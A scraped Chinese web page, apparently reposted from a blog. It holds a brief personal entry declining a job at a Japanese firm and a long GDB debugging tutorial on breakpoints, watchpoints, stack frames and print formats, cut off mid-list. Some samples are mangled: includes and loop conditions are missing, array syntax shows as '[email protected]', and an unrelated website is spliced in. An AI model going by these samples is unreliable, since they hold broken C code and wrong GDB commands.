C调试相关

发布时间:2017-2-26 9:07:37 编辑:www.fx114.net 分享查询网我要评论
本篇文章主要介绍了"C调试相关",主要涉及到C调试相关方面的内容,对于C调试相关感兴趣的同学可以参考一下。

  12月24日 日企,日~~~~~~~~~~~~~~~~~~~ 前几天有个猎头公司打电话给俺,说一家全球500强的日企公司正在招聘程序员,让俺去面试。俺现在可是一心想回家,还没有考虑年前出去了,而且那个公司居然是NND日企,日啊~~~~~所以俺就回复他说:本人有较强的民族感情,日企就算了吧。   呵呵,今天想起这件事情还真是自己都不得不佩服自己。 23:26 添加评论阅读评论 (1)固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!166.entry 添加评论 11月19日 用GDB调试程序 用GDB调试程序 GDB是一个强大的命令行调试工具。大家知道命令行的强大就是在于,其可以形成执行序列,形成脚本。UNIX下的软件全是命令行的,这给程序开发提代供了极大的便利,命令行软件的优势在于,它们可以非常容易的集成在一起,使用几个简单的已有工具的命令,就可以做出一个非常强大的功能。 于是UNIX下的软件比Windows下的软件更能有机地结合,各自发挥各自的长处,组合成更为强劲的功能。而Windows下的图形软件基本上是各自为营,互相不能调用,很不利于各种软件的相互集成。在这里并不是要和Windows做个什么比较,所谓“寸有所长,尺有所短”,图形化工具还是有不如命令行的地方。 用GDB调试程序 GDB概述 ———— GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具。或许,各位比较喜欢那种图形界面方式的,像VC、BCB等IDE的调试,但如果你是在UNIX平台下做软件,你会发现GDB这个调试工具有比VC、BCB的图形化调试器更强大的功能。所谓“寸有所长,尺有所短”就是这个道理。 一般来说,GDB主要帮忙你完成下面四个方面的功能: 1、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。 2、可让被调试的程序在你所指定的调置的断点处停住。(断点可以是条件表达式) 3、当程序被停住时,可以检查此时你的程序中所发生的事。 4、动态的改变你程序的执行环境。 从上面看来,GDB和一般的调试工具没有什么两样,基本上也是完成这些功能,不过在细节上,你会发现GDB这个调试工具的强大,大家可能比较习惯了图形化的调试工具,但有时候,命令行的调试工具却有着图形化工具所不能完成的功能。让我们一一看来。 比如我们以导电滑环这个网站来作为示例: 一个调试示例 —————— 源程序:tst.c 1 #include 2 3 int func(int n) 4 { 5 int sum=0,i; 6 for(i=0; i 7 { 8 sum+=i; 9 } 10 return sum; 11 } 12 13 14 main() 15 { 16 int i; 17 long result = 0; 18 for(i=1; i<=100; i++) 19 { 20 result += i; 21 } 22 23 printf("result[1-100] = %d /n", result ); 24 printf("result[1-250] = %d /n", func(250) ); 25 } 编译生成执行文件:(Linux下) hchen/test> cc -g tst.c -o tst 使用GDB调试: hchen/test> gdb tst <---------- 启动GDB GNU gdb 5.1.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux"... (gdb) l <-------------------- l命令相当于list,从第一行开始例出原码。 1 #include 2 3 int func(int n) 4 { 5 int sum=0,i; 6 for(i=0; i 7 { 8 sum+=i; 9 } 10 return sum; (gdb) <-------------------- 直接回车表示,重复上一次命令 11 } 12 13 14 main() 15 { 16 int i; 17 long result = 0; 18 for(i=1; i<=100; i++) 19 { 20 result += i; (gdb) break 16 <-------------------- 设置断点,在源程序第16行处。 Breakpoint 1 at 0x8048496: file tst.c, line 16. (gdb) break func <-------------------- 设置断点,在函数func()入口处。 Breakpoint 2 at 0x8048456: file tst.c, line 5. (gdb) info break <-------------------- 查看断点信息。 Num Type Disp Enb Address What 1 breakpoint keep y 0x08048496 in main at tst.c:16 2 breakpoint keep y 0x08048456 in func at tst.c:5 (gdb) r <--------------------- 运行程序,run命令简写 Starting program: /home/hchen/test/tst Breakpoint 1, main () at tst.c:17 <---------- 在断点处停住。 17 long result = 0; (gdb) n <--------------------- 单条语句执行,next命令简写。 18 for(i=1; i<=100; i++) (gdb) n 20 result += i; (gdb) n 18 for(i=1; i<=100; i++) (gdb) n 20 result += i; (gdb) c <--------------------- 继续运行程序,continue命令简写。 Continuing. result[1-100] = 5050 <----------程序输出。 Breakpoint 2, func (n=250) at tst.c:5 5 int sum=0,i; (gdb) n 6 for(i=1; i<=n; i++) (gdb) p i <--------------------- 打印变量i的值,print命令简写。 $1 = 134513808 (gdb) n 8 sum+=i; (gdb) n 6 for(i=1; i<=n; i++) (gdb) p sum $2 = 1 (gdb) n 8 sum+=i; (gdb) p i $3 = 2 (gdb) n 6 for(i=1; i<=n; i++) (gdb) p sum $4 = 3 (gdb) bt <--------------------- 查看函数堆栈。 #0 func (n=250) at tst.c:5 #1 0x080484e4 in main () at tst.c:24 #2 0x400409ed in __libc_start_main () from /lib/libc.so.6 (gdb) finish <--------------------- 退出函数。 Run till exit from #0 func (n=250) at tst.c:5 0x080484e4 in main () at tst.c:24 24 printf("result[1-250] = %d /n", func(250) ); Value returned is $6 = 31375 (gdb) c <--------------------- 继续运行。 Continuing. result[1-250] = 31375 <----------程序输出。 Program exited with code 027. <--------程序退出,调试结束。 (gdb) q <--------------------- 退出gdb。 hchen/test> 好了,有了以上的感性认识,还是让我们来系统地认识一下gdb吧。 使用GDB ———— 一般来说GDB主要调试的是C/C++的程序。要调试C/C++的程序,首先在编译时,我们必须要把调试信息加到可执行文件中。使用编译器(cc/gcc/g++)的 -g 参数可以做到这一点。如: > cc -g hello.c -o hello > g++ -g hello.cpp -o hello 如果没有-g,你将看不见程序的函数名、变量名,所代替的全是运行时的内存地址。当你用-g把调试信息加入之后,并成功编译目标代码以后,让我们来看看如何用gdb来调试他。 启动GDB的方法有以下几种: 1、gdb program也就是你的执行文件,一般在当然目录下。 2、gdb core 用gdb同时调试一个运行程序和core文件,core是程序非法执行后core dump后产生的文件。 3、gdb 如果你的程序是一个服务程序,那么你可以指定这个服务程序运行时的进程ID。gdb会自动attach上去,并调试他。program应该在PATH环境变量中搜索得到。 GDB启动时,可以加上一些GDB的启动开关,详细的开关可以用gdb -help查看。我在下面只例举一些比较常用的参数: -symbols -s 从指定文件中读取符号表。 -se file 从指定文件中读取符号表信息,并把他用在可执行文件中。 -core -c 调试时core dump的core文件。 -directory -d 加入一个源文件的搜索路径。默认搜索路径是环境变量中PATH所定义的路径。 GDB的命令概貌 ——————— 启动gdb后,就你被带入gdb的调试环境中,就可以使用gdb的命令开始调试程序了,gdb的命令可以使用help命令来查看,如下所示: /home/hchen> gdb GNU gdb 5.1.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux". (gdb) help List of classes of commands: aliases -- Aliases of other commands breakpoints -- Making program stop at certain points data -- Examining data files -- Specifying and examining files internals -- Maintenance commands obscure -- Obscure features running -- Running the program stack -- Examining the stack status -- Status inquiries support -- Support facilities tracepoints -- Tracing of program execution without stopping the program user-defined -- User-defined commands Type "help" followed by a class name for a list of commands in that class. Type "help" followed by command name for full documentation. Command name abbreviations are allowed if unambiguous. (gdb) gdb的命令很多,gdb把之分成许多个种类。help命令只是例出gdb的命令种类,如果要看种类中的命令,可以使用help 命令,如:help breakpoints,查看设置断点的所有命令。也可以直接help 来查看命令的帮助。 gdb中,输入命令时,可以不用打全命令,只用打命令的前几个字符就可以了,当然,命令的前几个字符应该要标志着一个唯一的命令,在Linux下,你可以敲击两次TAB键来补齐命令的全称,如果有重复的,那么gdb会把其例出来。 示例一:在进入函数func时,设置一个断点。可以敲入break func,或是直接就是b func (gdb) b func Breakpoint 1 at 0x8048458: file hello.c, line 10. 示例二:敲入b按两次TAB键,你会看到所有b打头的命令: (gdb) b backtrace break bt (gdb) 示例三:只记得函数的前缀,可以这样: (gdb) b make_ <按TAB键> (再按下一次TAB键,你会看到:) make_a_section_from_file make_environ make_abs_section make_function_type make_blockvector make_pointer_type make_cleanup make_reference_type make_command make_symbol_completion_list (gdb) b make_ GDB把所有make开头的函数全部例出来给你查看。 示例四:调试C++的程序时,有可以函数名一样。如: (gdb) b 'bubble( M-? bubble(double,double) bubble(int,int) (gdb) b 'bubble( 你可以查看到C++中的所有的重载函数及参数。(注:M-?和“按两次TAB键”是一个意思) 要退出gdb时,只用发quit或命令简称q就行了。 GDB中运行UNIX的shell程序 ———————————— 在gdb环境中,你可以执行UNIX的shell的命令,使用gdb的shell命令来完成: shell 调用UNIX的shell来执行,环境变量SHELL中定义的UNIX的shell将会被用来执行,如果SHELL没有定义,那就使用UNIX的标准shell:/bin/sh。(在Windows中使用Command.com或cmd.exe) 还有一个gdb命令是make: make 可以在gdb中执行make命令来重新build自己的程序。这个命令等价于“shell make ”。 在GDB中运行程序 ———————— 当以gdb 方式启动gdb后,gdb会在PATH路径和当前目录中搜索的源文件。如要确认gdb是否读到源文件,可使用l或list命令,看看gdb是否能列出源代码。 在gdb中,运行程序使用r或是run命令。程序的运行,你有可能需要设置下面四方面的事。 1、程序运行参数。 set args 可指定运行时参数。(如:set args 10 20 30 40 50) show args 命令可以查看设置好的运行参数。 2、运行环境。 path 可设定程序的运行路径。 show paths 查看程序的运行路径。 set environment varname [=value] 设置环境变量。如:set env USER=hchen show environment [varname] 查看环境变量。 3、工作目录。 cd 相当于shell的cd命令。 pwd 显示当前的所在目录。 4、程序的输入输出。 info terminal 显示你程序用到的终端的模式。 使用重定向控制程序输出。如:run > outfile tty命令可以指写输入输出的终端设备。如:tty /dev/ttyb 调试已运行的程序 ———————— 两种方法: 1、在UNIX下用ps查看正在运行的程序的PID(进程ID),然后用gdb PID格式挂接正在运行的程序。 2、先用gdb 关联上源代码,并进行gdb,在gdb中用attach命令来挂接进程的PID。并用detach来取消挂接的进程。 暂停 / 恢复程序运行 ————————— 调试程序中,暂停程序运行是必须的,GDB可以方便地暂停程序的运行。你可以设置程序的在哪行停住,在什么条件下停住,在收到什么信号时停往等等。以便于你查看运行时的变量,以及运行时的流程。 当进程被gdb停住时,你可以使用info program 来查看程序的是否在运行,进程号,被暂停的原因。 在gdb中,我们可以有以下几种暂停方式:断点(BreakPoint)、观察点(WatchPoint)、捕捉点(CatchPoint)、信号(Signals)、线程停止(Thread Stops)。如果要恢复程序运行,可以使用c或是continue命令。 一、设置断点(BreakPoint) 我们用break命令来设置断点。正面有几点设置断点的方法: break 在进入指定函数时停住。C++中可以使用class::function或function(type,type)格式来指定函数名。 break 在指定行号停住。 break +offset break -offset 在当前行号的前面或后面的offset行停住。offiset为自然数。 break filename:linenum 在源文件filename的linenum行处停住。 break filename:function 在源文件filename的function函数的入口处停住。 break *address 在程序运行的内存地址处停住。 break break命令没有参数时,表示在下一条指令处停住。 break ... if ...可以是上述的参数,condition表示条件,在条件成立时停住。比如在循环境体中,可以设置break if i=100,表示当i为100时停住程序。 查看断点时,可使用info命令,如下所示:(注:n表示断点号) info breakpoints [n] info break [n] 二、设置观察点(WatchPoint) 观察点一般来观察某个表达式(变量也是一种表达式)的值是否有变化了,如果有变化,马上停住程序。我们有下面的几种方法来设置观察点: watch 为表达式(变量)expr设置一个观察点。一量表达式值有变化时,马上停住程序。 rwatch 当表达式(变量)expr被读时,停住程序。 awatch 当表达式(变量)的值被读或被写时,停住程序。 info watchpoints 列出当前所设置了的所有观察点。 三、设置捕捉点(CatchPoint) 你可设置捕捉点来补捉程序运行时的一些事件。如:载入共享库(动态链接库)或是C++的异常。设置捕捉点的格式为: catch 当event发生时,停住程序。event可以是下面的内容: 1、throw 一个C++抛出的异常。(throw为关键字) 2、catch 一个C++捕捉到的异常。(catch为关键字) 3、exec 调用系统调用exec时。(exec为关键字,目前此功能只在HP-UX下有用) 4、fork 调用系统调用fork时。(fork为关键字,目前此功能只在HP-UX下有用) 5、vfork 调用系统调用vfork时。(vfork为关键字,目前此功能只在HP-UX下有用) 6、load 或 load 载入共享库(动态链接库)时。(load为关键字,目前此功能只在HP-UX下有用) 7、unload 或 unload 卸载共享库(动态链接库)时。(unload为关键字,目前此功能只在HP-UX下有用) tcatch 只设置一次捕捉点,当程序停住以后,应点被自动删除。 四、维护停止点 上面说了如何设置程序的停止点,GDB中的停止点也就是上述的三类。在GDB中,如果你觉得已定义好的停止点没有用了,你可以使用delete、clear、disable、enable这几个命令来进行维护。 clear 清除所有的已定义的停止点。 clear clear 清除所有设置在函数上的停止点。 clear clear 清除所有设置在指定行上的停止点。 delete [breakpoints] [range...] 删除指定的断点,breakpoints为断点号。如果不指定断点号,则表示删除所有的断点。range 表示断点号的范围(如:3-7)。其简写命令为d。 比删除更好的一种方法是disable停止点,disable了的停止点,GDB不会删除,当你还需要时,enable即可,就好像回收站一样。 disable [breakpoints] [range...] disable所指定的停止点,breakpoints为停止点号。如果什么都不指定,表示disable所有的停止点。简写命令是dis. enable [breakpoints] [range...] enable所指定的停止点,breakpoints为停止点号。 enable [breakpoints] once range... enable所指定的停止点一次,当程序停止后,该停止点马上被GDB自动disable。 enable [breakpoints] delete range... enable所指定的停止点一次,当程序停止后,该停止点马上被GDB自动删除。 五、停止条件维护 前面在说到设置断点时,我们提到过可以设置一个条件,当条件成立时,程序自动停止,这是一个非常强大的功能,这里,我想专门说说这个条件的相关维护命令。一般来说,为断点设置一个条件,我们使用if关键词,后面跟其断点条件。并且,条件设置好后,我们可以用condition命令来修改断点的条件。(只有break和watch命令支持if,catch目前暂不支持if) condition 修改断点号为bnum的停止条件为expression。 condition 清除断点号为bnum的停止条件。 还有一个比较特殊的维护命令ignore,你可以指定程序运行时,忽略停止条件几次。 ignore 表示忽略断点号为bnum的停止条件count次。 六、为停止点设定运行命令 我们可以使用GDB提供的command命令来设置停止点的运行命令。也就是说,当运行的程序在被停止住时,我们可以让其自动运行一些别的命令,这很有利行自动化调试。对基于GDB的自动化调试是一个强大的支持。 commands [bnum] ... command-list ... end 为断点号bnum指写一个命令列表。当程序被该断点停住时,gdb会依次运行命令列表中的命令。 例如: break foo if x>0 commands printf "x is %d/n",x continue end 断点设置在函数foo中,断点条件是x>0,如果程序被断住后,也就是,一旦x的值在foo函数中大于0,GDB会自动打印出x的值,并继续运行程序。 如果你要清除断点上的命令序列,那么只要简单的执行一下commands命令,并直接在打个end就行了。 七、断点菜单 在C++中,可能会重复出现同一个名字的函数若干次(函数重载),在这种情况下,break 不能告诉GDB要停在哪个函数的入口。当然,你可以使用break 也就是把函数的参数类型告诉GDB,以指定一个函数。否则的话,GDB会给你列出一个断点菜单供你选择你所需要的断点。你只要输入你菜单列表中的编号就可以了。如: (gdb) b String::after [0] cancel [1] all [2] file:String.cc; line number:867 [3] file:String.cc; line number:860 [4] file:String.cc; line number:875 [5] file:String.cc; line number:853 [6] file:String.cc; line number:846 [7] file:String.cc; line number:735 > 2 4 6 Breakpoint 1 at 0xb26c: file String.cc, line 867. Breakpoint 2 at 0xb344: file String.cc, line 875. Breakpoint 3 at 0xafcc: file String.cc, line 846. Multiple breakpoints were set. Use the "delete" command to delete unwanted breakpoints. (gdb) 可见,GDB列出了所有after的重载函数,你可以选一下列表编号就行了。0表示放弃设置断点,1表示所有函数都设置断点。 八、恢复程序运行和单步调试 当程序被停住了,你可以用continue命令恢复程序的运行直到程序结束,或下一个断点到来。也可以使用step或next命令单步跟踪程序。 continue [ignore-count] c [ignore-count] fg [ignore-count] 恢复程序运行,直到程序结束,或是下一个断点到来。ignore-count表示忽略其后的断点次数。continue,c,fg三个命令都是一样的意思。 step 单步跟踪,如果有函数调用,他会进入该函数。进入函数的前提是,此函数被编译有debug信息。很像VC等工具中的step in。后面可以加count也可以不加,不加表示一条条地执行,加表示执行后面的count条指令,然后再停住。 next 同样单步跟踪,如果有函数调用,他不会进入该函数。很像VC等工具中的step over。后面可以加count也可以不加,不加表示一条条地执行,加表示执行后面的count条指令,然后再停住。 set step-mode set step-mode on 打开step-mode模式,于是,在进行单步跟踪时,程序不会因为没有debug信息而不停住。这个参数有很利于查看机器码。 set step-mod off 关闭step-mode模式。 finish 运行程序,直到当前函数完成返回。并打印函数返回时的堆栈地址和返回值及参数值等信息。 until 或 u 当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。 stepi 或 si nexti 或 ni 单步跟踪一条机器指令!一条程序代码有可能由数条机器指令完成,stepi和nexti可以单步执行机器指令。与之一样有相同功能的命令是“display/i $pc” ,当运行完这个命令后,单步跟踪会在打出程序代码的同时打出机器指令(也就是汇编代码) 九、信号(Signals) 信号是一种软中断,是一种处理异步事件的方法。一般来说,操作系统都支持许多信号。尤其是UNIX,比较重要应用程序一般都会处理信号。UNIX定义了许多信号,比如SIGINT表示中断字符信号,也就是Ctrl+C的信号,SIGBUS表示硬件故障的信号;SIGCHLD表示子进程状态改变信号;SIGKILL表示终止程序运行的信号,等等。信号量编程是UNIX下非常重要的一种技术。 GDB有能力在你调试程序的时候处理任何一种信号,你可以告诉GDB需要处理哪一种信号。你可以要求GDB收到你所指定的信号时,马上停住正在运行的程序,以供你进行调试。你可以用GDB的handle命令来完成这一功能。 handle 在GDB中定义一个信号处理。信号可以以SIG开头或不以SIG开头,可以用定义一个要处理信号的范围(如:SIGIO-SIGKILL,表示处理从SIGIO信号到SIGKILL的信号,其中包括SIGIO,SIGIOT,SIGKILL三个信号),也可以使用关键字all来标明要处理所有的信号。一旦被调试的程序接收到信号,运行程序马上会被GDB停住,以供调试。其可以是以下几种关键字的一个或多个。 nostop 当被调试的程序收到信号时,GDB不会停住程序的运行,但会打出消息告诉你收到这种信号。 stop 当被调试的程序收到信号时,GDB会停住你的程序。 print 当被调试的程序收到信号时,GDB会显示出一条信息。 noprint 当被调试的程序收到信号时,GDB不会告诉你收到信号的信息。 pass noignore 当被调试的程序收到信号时,GDB不处理信号。这表示,GDB会把这个信号交给被调试程序会处理。 nopass ignore 当被调试的程序收到信号时,GDB不会让被调试程序来处理这个信号。 info signals info handle 查看有哪些信号在被GDB检测中。 十、线程(Thread Stops) 如果你程序是多线程的话,你可以定义你的断点是否在所有的线程上,或是在某个特定的线程。GDB很容易帮你完成这一工作。 break thread break thread if ... linespec指定了断点设置在的源程序的行号。threadno指定了线程的ID,注意,这个ID是GDB分配的,你可以通过“info threads”命令来查看正在运行程序中的线程信息。如果你不指定thread 则表示你的断点设在所有线程上面。你还可以为某线程指定断点条件。如: (gdb) break frik.c:13 thread 28 if bartab > lim 当你的程序被GDB停住时,所有的运行线程都会被停住。这方便你你查看运行程序的总体情况。而在你恢复程序运行时,所有的线程也会被恢复运行。那怕是主进程在被单步调试时。 查看栈信息 ————— 当程序被停住了,你需要做的第一件事就是查看程序是在哪里停住的。当你的程序调用了一个函数,函数的地址,函数参数,函数内的局部变量都会被压入“栈”(Stack)中。你可以用GDB命令来查看当前的栈中的信息。 下面是一些查看函数调用栈信息的GDB命令: backtrace bt 打印当前的函数调用栈的所有信息。如: (gdb) bt #0 func (n=250) at tst.c:6 #1 0x08048524 in main (argc=1, argv=0xbffff674) at tst.c:30 #2 0x400409ed in __libc_start_main () from /lib/libc.so.6 从上可以看出函数的调用栈信息:__libc_start_main --> main() --> func() backtrace bt n是一个正整数,表示只打印栈顶上n层的栈信息。 backtrace <-n> bt <-n> -n表一个负整数,表示只打印栈底下n层的栈信息。 如果你要查看某一层的信息,你需要在切换当前的栈,一般来说,程序停止时,最顶层的栈就是当前栈,如果你要查看栈下面层的详细信息,首先要做的是切换当前栈。 frame f n是一个从0开始的整数,是栈中的层编号。比如:frame 0,表示栈顶,frame 1,表示栈的第二层。 up 表示向栈的上面移动n层,可以不打n,表示向上移动一层。 down 表示向栈的下面移动n层,可以不打n,表示向下移动一层。 上面的命令,都会打印出移动到的栈层的信息。如果你不想让其打出信息。你可以使用这三个命令: select-frame 对应于 frame 命令。 up-silently 对应于 up 命令。 down-silently 对应于 down 命令。 查看当前栈层的信息,你可以用以下GDB命令: frame 或 f 会打印出这些信息:栈的层编号,当前的函数名,函数参数值,函数所在文件及行号,函数执行到的语句。 info frame info f 这个命令会打印出更为详细的当前栈层的信息,只不过,大多数都是运行时的内内地址。比如:函数地址,调用函数的地址,被调用函数的地址,目前的函数是由什么样的程序语言写成的、函数参数地址及值、局部变量的地址等等。如: (gdb) info f Stack level 0, frame at 0xbffff5d4: eip = 0x804845d in func (tst.c:6); saved eip 0x8048524 called by frame at 0xbffff60c source language c. Arglist at 0xbffff5d4, args: n=250 Locals at 0xbffff5d4, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff5d4, eip at 0xbffff5d8 info args 打印出当前函数的参数名及其值。 info locals 打印出当前函数中所有局部变量及其值。 info catch 打印出当前的函数中的异常处理信息。 查看源程序 ————— 一、显示源代码 GDB 可以打印出所调试程序的源代码,当然,在程序编译时一定要加上-g的参数,把源程序信息编译到执行文件中。不然就看不到源程序了。当程序停下来以后,GDB会报告程序停在了那个文件的第几行上。你可以用list命令来打印程序的源代码。还是来看一看查看源代码的GDB命令吧。 list 显示程序第linenum行的周围的源程序。 list 显示函数名为function的函数的源程序。 list 显示当前行后面的源程序。 list - 显示当前行前面的源程序。 一般是打印当前行的上5行和下5行,如果显示函数是是上2行下8行,默认是10行,当然,你也可以定制显示的范围,使用下面命令可以设置一次显示源程序的行数。 set listsize 设置一次显示源代码的行数。 show listsize 查看当前listsize的设置。 list命令还有下面的用法: list , 显示从first行到last行之间的源代码。 list , 显示从当前行到last行之间的源代码。 list + 往后显示源代码。 一般来说在list后面可以跟以下这们的参数: 行号。 <+offset> 当前行号的正偏移量。 <-offset> 当前行号的负偏移量。 哪个文件的哪一行。 函数名。 哪个文件中的哪个函数。 <*address> 程序运行时的语句在内存中的地址。 二、搜索源代码 不仅如此,GDB还提供了源代码搜索的命令: forward-search search 向前面搜索。 reverse-search 全部搜索。 其中,就是正则表达式,也主一个字符串的匹配模式,关于正则表达式,我就不在这里讲了,还请各位查看相关资料。 三、指定源文件的路径 某些时候,用-g编译过后的执行程序中只是包括了源文件的名字,没有路径名。GDB提供了可以让你指定源文件的路径的命令,以便GDB进行搜索。 directory dir 加一个源文件路径到当前路径的前面。如果你要指定多个路径,UNIX下你可以使用“:”,Windows下你可以使用“;”。 directory 清除所有的自定义的源文件搜索路径信息。 show directories 显示定义了的源文件搜索路径。 四、源代码的内存 你可以使用info line命令来查看源代码在内存中的地址。info line后面可以跟“行号”,“函数名”,“文件名:行号”,“文件名:函数名”,这个命令会打印出所指定的源码在运行时的内存地址,如: (gdb) info line tst.c:func Line 5 of "tst.c" starts at address 0x8048456 and ends at 0x804845d . 还有一个命令(disassemble)你可以查看源程序的当前执行时的机器码,这个命令会把目前内存中的指令dump出来。如下面的示例表示查看函数func的汇编代码。 (gdb) disassemble func Dump of assembler code for function func: 0x8048450 : push %ebp 0x8048451 : mov %esp,%ebp 0x8048453 : sub $0x18,%esp 0x8048456 : movl $0x0,0xfffffffc(%ebp) 0x804845d : movl $0x1,0xfffffff8(%ebp) 0x8048464 : mov 0xfffffff8(%ebp),%eax 0x8048467 : cmp 0x8(%ebp),%eax 0x804846a : jle 0x8048470 0x804846c : jmp 0x8048480 0x804846e : mov %esi,%esi 0x8048470 : mov 0xfffffff8(%ebp),%eax 0x8048473 : add %eax,0xfffffffc(%ebp) 0x8048476 : incl 0xfffffff8(%ebp) 0x8048479 : jmp 0x8048464 0x804847b : nop 0x804847c : lea 0x0(%esi,1),%esi 0x8048480 : mov 0xfffffffc(%ebp),%edx 0x8048483 : mov %edx,%eax 0x8048485 : jmp 0x8048487 0x8048487 : mov %ebp,%esp 0x8048489 : pop %ebp 0x804848a : ret End of assembler dump. 查看运行时数据 ——————— 在你调试程序时,当程序被停住时,你可以使用print命令(简写命令为p),或是同义命令inspect来查看当前程序的运行数据。print命令的格式是: print print / 是表达式,是你所调试的程序的语言的表达式(GDB可以调试多种编程语言),是输出的格式,比如,如果要把表达式按16进制的格式输出,那么就是/x。 一、表达式 print和许多GDB的命令一样,可以接受一个表达式,GDB会根据当前的程序运行的数据来计算这个表达式,既然是表达式,那么就可以是当前程序运行中的const常量、变量、函数等内容。可惜的是GDB不能使用你在程序中所定义的宏。 表达式的语法应该是当前所调试的语言的语法,由于C/C++是一种大众型的语言,所以,本文中的例子都是关于C/C++的。(而关于用GDB调试其它语言的章节,我将在后面介绍) 在表达式中,有几种GDB所支持的操作符,它们可以用在任何一种语言中。 @ 是一个和数组有关的操作符,在后面会有更详细的说明。 :: 指定一个在文件或是一个函数中的变量。 {} 表示一个指向内存地址的类型为type的一个对象。 二、程序变量 在GDB中,你可以随时查看以下三种变量的值: 1、全局变量(所有文件可见的) 2、静态全局变量(当前文件可见的) 3、局部变量(当前Scope可见的) 如果你的局部变量和全局变量发生冲突(也就是重名),一般情况下是局部变量会隐藏全局变量,也就是说,如果一个全局变量和一个函数中的局部变量同名时,如果当前停止点在函数中,用print显示出的变量的值会是函数中的局部变量的值。如果此时你想查看全局变量的值时,你可以使用“::”操作符: file::variable function::variable 可以通过这种形式指定你所想查看的变量,是哪个文件中的或是哪个函数中的。例如,查看文件f2.c中的全局变量x的值: gdb) p 'f2.c'::x 当然,“::”操作符会和C++中的发生冲突,GDB能自动识别“::” 是否C++的操作符,所以你不必担心在调试C++程序时会出现异常。 另外,需要注意的是,如果你的程序编译时开启了优化选项,那么在用GDB调试被优化过的程序时,可能会发生某些变量不能访问,或是取值错误码的情况。这个是很正常的,因为优化程序会删改你的程序,整理你程序的语句顺序,剔除一些无意义的变量等,所以在GDB调试这种程序时,运行时的指令和你所编写指令就有不一样,也就会出现你所想象不到的结果。对付这种情况时,需要在编译程序时关闭编译优化。一般来说,几乎所有的编译器都支持编译优化的开关,例如,GNU的C/C++编译器GCC,你可以使用“-gstabs”选项来解决这个问题。关于编译器的参数,还请查看编译器的使用说明文档。 三、数组 有时候,你需要查看一段连续的内存空间的值。比如数组的一段,[email protected]操作符,[email protected]值,[email protected],你的程序中有这样的语句: int *array = (int *) malloc (len * sizeof (int)); 于是,在GDB调试过程中,你可以以如下命令显示出这个动态数组的取值: p [email protected] @的左边是数组的首地址的值,也就是变量array所指向的内容,右边则是数据的长度,其保存在变量len中,其输出结果,大约是下面这个样子的: (gdb) p [email protected] $1 = {2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40} 如果是静态数组的话,可以直接用print数组名,就可以显示数组中所有数据的内容了。 四、输出格式 一般来说,GDB会根据变量的类型输出变量的值。但你也可以自定义GDB的输出的格式。例如,你想输出一个整数的十六进制,或是二进制来查看这个整型变量的中的位的情况。要做到这样,你可以使用GDB的数据显示格式: x 按十六进制格式显示变量。 d 按十进制格式显示变量。 u 按十六进制格式显示无符号整型。 o 按八进制格式显示变量。 t 按二进制格式显示变量。 a 按十六进制格式显示变量。 c 按字符格式显示变量。 f 按浮点数格式显示变量。 (gdb) p i $21 = 101 (gdb) p/a i $22 = 0x65 (gdb) p/c i $23 = 101 'e' (gdb) p/f i $24 = 1.41531145e-43 (gdb) p/x i $25 = 0x65 (gdb) p/t i $26 = 1100101 五、查看内存 你可以使用examine命令(简写是x)来查看内存地址中的值。x命令的语法如下所示: x/ n、f、u是可选的参数。 n 是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。 f 表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是s,如果地十是指令地址,那么格式可以是i。 u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。 表示一个内存地址。 n/f/u三个参数可以一起使用。例如: 命令:x/3uh 0x54320 表示,从内存地址0x54320读取内容,h表示以双字节为一个单位,3表示三个单位,u表示按十六进制显示。 六、自动显示 你可以设置一些自动显示的变量,当程序停住时,或是在你单步跟踪时,这些变量会自动显示。相关的GDB命令是display。 display display/ display/ expr是一个表达式,fmt表示显示的格式,addr表示内存地址,当你用display设定好了一个或多个表达式后,只要你的程序被停下来,GDB会自动显示你所设置的这些表达式的值。 格式i和s同样被display支持,一个非常有用的命令是: display/i $pc $pc是GDB的环境变量,表示着指令的地址,/i则表示输出格式为机器指令码,也就是汇编。于是当程序停下后,就会出现源代码和机器指令码相对应的情形,这是一个很有意思的功能。 下面是一些和display相关的GDB命令: undisplay delete display 删除自动显示,dnums意为所设置好了的自动显式的编号。如果要同时删除几个,编号可以用空格分隔,如果要删除一个范围内的编号,可以用减号表示(如:2-5) disable display enable display disable和enalbe不删除自动显示的设置,而只是让其失效和恢复。 info display 查看display设置的自动显示的信息。GDB会打出一张表格,向你报告当然调试中设置了多少个自动显示设置,其中包括,设置的编号,表达式,是否enable。 七、设置显示选项 GDB中关于显示的选项比较多,这里我只例举大多数常用的选项。 set print address set print address on 打开地址输出,当程序显示函数信息时,GDB会显出函数的参数地址。系统默认为打开的,如: (gdb) f #0 set_quotes (lq=0x34c78 "<<", rq=0x34c88 ">>") at input.c:530 530 if (lquote != def_lquote) set print address off 关闭函数的参数地址显示,如: (gdb) set print addr off (gdb) f #0 set_quotes (lq="<<", rq=">>") at input.c:530 530 if (lquote != def_lquote) show print address 查看当前地址显示选项是否打开。 set print array set print array on 打开数组显示,打开后当数组显示时,每个元素占一行,如果不打开的话,每个元素则以逗号分隔。这个选项默认是关闭的。与之相关的两个命令如下,我就不再多说了。 set print array off show print array set print elements 这个选项主要是设置数组的,如果你的数组太大了,那么就可以指定一个来指定数据显示的最大长度,当到达这个长度时,GDB就不再往下显示了。如果设置为0,则表示不限制。 show print elements 查看print elements的选项信息。 set print null-stop 